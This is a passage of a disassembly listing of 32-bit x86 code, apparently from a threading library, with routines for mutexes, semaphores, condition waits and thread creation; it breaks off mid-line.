CODE XREF: ___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi call near ptr 27509EAh nop push 0 push edi nop call near ptr 27603AFh cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h call near ptr 2750AF6h nop lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi call near ptr 2750C97h nop push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 2760000h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx nop call near ptr 2760203h test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3DC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3DC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3DC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3DC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E920 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi call near ptr 77C2C21Bh nop add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9A0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_50E3E4 mov [esi+1Ch], ecx mov eax, dword_50E3E4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3E0 mov dword_50E3E4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3E0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9A0 call near ptr 7C9010EDh nop loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9A0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3E0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3E0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3E4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3E4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9A0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E920 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E920 nop call near ptr 7C9010EDh loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 call near ptr 77C1F2BCh nop mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE call near ptr 77C1F2BCh nop mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi nop call near ptr 2760000h loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3D8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A1B7h, 4C48390h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E8E0 xor esi, esi call near ptr 7C901005h nop mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax nop call near ptr 27505ECh cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E8E0 call near ptr 7C9010EDh nop test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax nop call near ptr 275058Fh test eax, eax jnz short loc_430227 call edi ; _errno mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; ___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: 